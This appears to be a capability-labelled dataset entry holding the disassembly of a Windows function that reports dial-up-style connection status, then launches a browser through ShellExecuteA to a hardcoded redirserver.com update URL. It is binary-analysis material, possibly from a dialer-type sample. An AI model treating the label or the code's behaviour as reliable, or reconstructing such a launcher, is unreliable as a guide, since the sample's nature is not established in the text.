Function at 0x4044af
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp eax, ebx
mov dword [esi + 0x74], eax
je 0x4045ad
push 1
push str.Not_connected...plase_wait...
call fcn.00404f7b
mov edx, dword [0x4163a8]
cmp edx, ebx
je 0x404523
mov al, byte [0x4163c0]
push 0x7f
mov byte [ebp - 0x234], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x234]
push 0x200
push eax
push dword [esi + 0x74]
call edx
test eax, eax
jne 0x404523
lea eax, [ebp - 0x234]
push 1
push eax
mov ecx, esi
call fcn.00404f7b
push ebx
mov ecx, 0x4162e0
call fcn.00401ffd
mov eax, dword [esi + 0x68]
cmp eax, 3
jge 0x404554
cmp dword [esi + 4], ebx
je 0x404554
push ebx
push ebx
push 0x806b
inc eax
push dword [esi + 0x48]
mov dword [esi + 0x68], eax
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x4046ef
push ebx
push ebx
push 0x8069
mov dword [esi + 0x68], ebx
push dword [esi + 0x48]
call dword [sym.imp.USER32.dll_SendMessageA]
push 1
push 0x402fa3
push dword [esi + 0x48]
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0x3b
lea eax, [ebp - 0x34]
push dword [esi + 0x60]
mov dword [esi + 4], ebx
push str.Connect_Verbinden_Conectar_
push eax
call fcn.00402ac9
add esp, 0x10
lea eax, [ebp - 0x34]
push eax
push 1
push dword [esi + 0x48]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push dword [esi + 0x48]
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x4046ef
mov eax, dword [ebp + 8]
sub eax, ebx
je 0x4046e1
dec eax
dec eax
je 0x4046d8
sub eax, 3
je 0x4046cf
dec eax
je 0x4046c6
sub eax, 4
je 0x4046bd
sub eax, 0x1ff6
je 0x4045fa
dec eax
je 0x4045ef
push 1
push str.Wait_to_Response_from_Server...
jmp 0x4046e8
push ebx
push str.Disconnected
jmp 0x4046e8
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebx, 0x3e8
push ebx
call edi
push 1
push str.Connected
mov ecx, esi
call fcn.00404f7b
push ebx
call edi
push 1
push str.Starting_Internet_Browser...
mov ecx, esi
call fcn.00404f7b
push ebx
call edi
push 0xa
mov ecx, esi
call fcn.00405135
push 1
mov ecx, esi
pop edi
push edi
call fcn.00404915
xor ebx, ebx
cmp dword [esi + 0x44], ebx
jne 0x404658
push str.http:__www.redirserver.com_update4.cfm_tidcn_id
mov ecx, esi
call fcn.00404e2c
test eax, eax
je 0x404658
mov dword [esi + 0x44], edi
mov eax, dword [esi + 0x6c]
mov ecx, dword [0x416394]
imul eax, eax, 0x798
push 3
push ebx
lea eax, [eax + ecx + 0x489]
push ebx
push eax
push str.open
push dword [esi + 0x48]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jbe 0x4046a4
mov ecx, esi
call fcn.00405bf8
push edi
push str.Internet_Browser_started
mov ecx, esi
call fcn.00404f7b
push edi
mov ecx, esi
call fcn.004040de
jmp 0x4046b9
push ebx
mov ecx, esi
call fcn.004040de
push edi
push str.Start_Internet_Browser_fail.
mov ecx, esi
call fcn.00404f7b
mov eax, edi
jmp 0x4046f1
push 1
push str.Connecting_to_the_Network...
jmp 0x4046e8
push 1
push str.Authentication_event.
jmp 0x4046e8
push 1
push str.Authentication...
jmp 0x4046e8
push 1
push str.Connecting_...
jmp 0x4046e8
push 1
push str.Opening_the_port...
mov ecx, esi
call fcn.00404f7b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8